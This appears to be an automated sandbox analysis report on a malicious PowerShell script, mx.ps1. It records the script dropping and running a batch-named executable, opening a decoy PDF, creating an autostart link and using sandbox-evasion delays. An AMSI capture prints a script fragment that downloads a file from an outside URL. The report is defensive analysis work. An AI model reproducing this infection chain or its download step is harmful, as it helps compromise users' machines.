Windows Analysis Report
mx.ps1

Source: C:\Users\Public\u5p3.bat

Code function: 2_2_0040333D EntryPoint,SetErrorMode,GetVersion,lstrlenA,#17,OleInitialize,SHGetFileInfoW,GetCommandLineW,GetModuleHandleW,CharNextW,GetTempPathW,GetTempPathW,GetWindowsDirectoryW,lstrcatW,GetTempPathW,lstrcatW,SetEnvironmentVariableW,SetEnvironmentVariableW,SetEnvironmentVariableW,DeleteFileW,OleUninitialize,ExitProcess,lstrcatW,lstrcatW,lstrcatW,lstrcmpiW,SetCurrentDirectoryW,DeleteFileW,CopyFileW,CloseHandle,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,ExitWindowsEx,ExitProcess,

2_2_0040333D

Source: C:\Users\Public\u5p3.bat	Code function: 2_2_00406956		2_2_00406956
Source: C:\Users\Public\u5p3.bat	Code function: 2_2_00404C2C		2_2_00404C2C

Source: C:\Users\Public\u5p3.bat

Process Stats: CPU usage > 98%

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\SystemCertificates\CA

Source: unknown	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noLogo -ExecutionPolicy unrestricted -file "C:\Users\user\Desktop\mx.ps1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Users\Public\u5p3.bat "C:\Users\Public\u5p3.bat"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe" "C:\Users\user\Desktop\List of required items and services.pdf
Source: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe	Process created: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --backgroundcolor=16514043
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Users\Public\u5p3.bat "C:\Users\Public\u5p3.bat"	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe" "C:\Users\user\Desktop\List of required items and services.pdf	Jump to behavior
Source: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe	Process created: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --backgroundcolor=16514043	Jump to behavior
Source: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Users\Public\u5p3.bat

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\InProcServer32

Source: C:\Users\Public\u5p3.bat

2_2_0040333D

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\Public\u5p3.bat

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_0pn21suu.a4h.ps1

Source: classification engine

Classification label: mal56.evad.winPS1@13/64@3/3

Source: C:\Users\Public\u5p3.bat

Code function: 2_2_004020FE CoCreateInstance,

2_2_004020FE

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File read: C:\Users\desktop.ini

Source: C:\Users\Public\u5p3.bat

Code function: 2_2_004046B0 GetDlgItem,SetWindowTextW,SHBrowseForFolderW,CoTaskMemFree,lstrcmpiW,lstrcatW,SetDlgItemTextW,GetDiskFreeSpaceW,MulDiv,SetDlgItemTextW,

2_2_004046B0

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_64\mscorlib\ac26e2af62f23e37e645b5e44068a025\mscorlib.ni.dll

Source: C:\Windows\System32\conhost.exe

Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6688:120:WilError_01

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Source:	Binary string: C:\Code\SharpDX\Source\SharpDX.DXGI\bin\Release\SharpDX.DXGI.pdbLm source: u5p3.bat, 00000002.00000003.595066561.0000000002870000.00000004.00000020.00020000.00000000.sdmp, SharpDX.DXGI.dll.2.dr
Source:	Binary string: C:\Code\SharpDX\Source\SharpDX.DXGI\bin\Release\SharpDX.DXGI.pdb source: u5p3.bat, 00000002.00000003.595066561.0000000002870000.00000004.00000020.00020000.00000000.sdmp, SharpDX.DXGI.dll.2.dr

Source: C:\Users\Public\u5p3.bat

Code function: 2_2_10002DE0 push eax; ret

2_2_10002E0E

Source: C:\Users\Public\u5p3.bat

Code function: 2_2_10001B18 GlobalAlloc,lstrcpyW,lstrcpyW,GlobalFree,GlobalFree,GlobalFree,GlobalFree,GlobalFree,GlobalFree,lstrcpyW,GetModuleHandleW,LoadLibraryW,GetProcAddress,lstrlenW,

2_2_10001B18

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\Public\u5p3.bat

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\u5p3.bat	Jump to dropped file
Source: C:\Users\Public\u5p3.bat	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\spilplatform\Thenceforth\Troubleshooting\Egueiite240\SharpDX.DXGI.dll	Jump to dropped file
Source: C:\Users\Public\u5p3.bat	File created: C:\Users\user\AppData\Local\Temp\nsn12E4.tmp\System.dll	Jump to dropped file

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\Public\u5p3.bat

Drops PE files to the user root directory

Boot Survival

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\Public\u5p3.bat

Powershell creates an autostart link

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Anti Malware Scan Interface: .lnk -Name));getit -fz ($fzf + 'List of required items and services.pdf') -oulv 'http://www.bludgumaxxlasdgur.com/rh/List%20of%20rdguquirdgud%20itdgums%20and%20sdgurvicdgus.pdf';exit@{# Script module or binary module file associated with this manifest.ModuleToProcess = 'Pester.psm1'# Version number of this module.ModuleVersion = '3.4.0'# ID used to uniquely identify this moduleGUID = 'a699dea5-2c73-4616-a270-1f7abb777e71'# Author of this moduleAuthor = 'Pester Team'# Company or vendor of this moduleCompanyName = 'Pester'# Copyright statement for this moduleCopyright = 'Copyright (c) 2016 by Pester Team, licensed under Apache 2.0 License.'# Description of the functionality provided by this moduleDescription = 'Pester provides a framework for running BDD style Tests to execute and validate PowerShell commands inside of PowerShell and offers a powerful set of Mocking Functions that allow tests to mimic and mock the functionality of any command inside of a piece of powershell code being tested. Pester tests can execute any command or script that is accesible to a pester test file. This can include functions, Cmdlets, Modules and scripts. Pester can be run in ad hoc style in a console or it can be integrated into the Build scripts of a Continuous Integration system.'# Minimum version of the Windows PowerShell engine required by this modulePowerShellVersion = '2.0'# Functions to export from this moduleFunctionsToExport = @( 'Describe', 'Context', 'It', 'Should', 'Mock', 'Assert-MockCalled', 'Assert-VerifiableMocks', 'New-Fixture', 'Get-TestDriveItem', 'Invoke-Pester', 'Setup', 'In', 'InModuleScope', 'Invoke-Mock', 'BeforeEach', 'AfterEach', 'BeforeAll', 'AfterAll' 'Get-MockDynamicParameters', 'Set-DynamicParameterVariables', 'Set-TestInconclusive', 'SafeGetCommand', 'New-PesterOption')# # Cmdlets to export from this module# CmdletsToExport = '*'# Variables to export from this moduleVariablesToExport = @( 'Path', 'TagFilter', 'ExcludeTagFilter', 'TestNameFilter', 'TestResult', 'CurrentContext', 'CurrentDescribe', 'CurrentTest', 'SessionState', 'CommandCoverage', 'BeforeEach', 'AfterEach', 'Strict')# # Aliases to export from this module# AliasesToExport = '*'# List of all modules packaged with this module# ModuleList = @()# List of all files packaged with this module# FileList = @()PrivateData = @{ # PSData is module packaging and gallery metadata embedded in PrivateData # It's for rebuilding PowerShellGet (and PoshCode) NuGet-style packages # We had to do this because it's the only place we're allowed to extend the manifest # https://connect.microsoft.com/PowerShell/feedback/details/421837 PSData = @{ # The primary categorization of this module (from the TechNet Gallery tech tree). Category = "Scripting Techniques" # Keyword tags to help users find this module via navigations and search. Tags = @('powers

Source: C:\Users\Public\u5p3.bat	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Langust			Jump to behavior
Source: C:\Users\Public\u5p3.bat	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Langust\Grade			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\u5p3.bat	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Opens the same file many times (likely Sandbox evasion)

Source: C:\Users\Public\u5p3.bat

File opened: C:\Users\user\Videos\Tonishly\Unitten\Hyoscyamine.ini count: 49914

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5464

Thread sleep time: -2767011611056431s >= -30000s

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Thread delayed: delay time: 922337203685477

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Window / User API: threadDelayed 9782

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Source: C:\Users\Public\u5p3.bat	Code function: 2_2_0040595A GetTempPathW,DeleteFileW,lstrcatW,lstrcatW,lstrlenW,FindFirstFileW,FindNextFileW,FindClose,	2_2_0040595A
Source: C:\Users\Public\u5p3.bat	Code function: 2_2_0040658F FindFirstFileW,FindClose,	2_2_0040658F
Source: C:\Users\Public\u5p3.bat	Code function: 2_2_00402862 FindFirstFileW,	2_2_00402862

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Thread delayed: delay time: 922337203685477

Source: C:\Users\Public\u5p3.bat	API call chain: ExitProcess graph end node			graph_2-4938
Source: C:\Users\Public\u5p3.bat	API call chain: ExitProcess graph end node			graph_2-4935

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\desktop.ini	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows	Jump to behavior

Source: powershell.exe, 00000000.00000002.677020845.000001CFC4FE0000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll

Source: C:\Users\Public\u5p3.bat

Code function: 2_2_10001B18 GlobalAlloc,lstrcpyW,lstrcpyW,GlobalFree,GlobalFree,GlobalFree,GlobalFree,GlobalFree,GlobalFree,lstrcpyW,GetModuleHandleW,LoadLibraryW,GetProcAddress,lstrlenW,

2_2_10001B18

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process token adjusted: Debug

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Users\Public\u5p3.bat "C:\Users\Public\u5p3.bat"			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe" "C:\Users\user\Desktop\List of required items and services.pdf			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Numerics\v4.0_4.0.0.0__b77a5c561934e089\System.Numerics.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
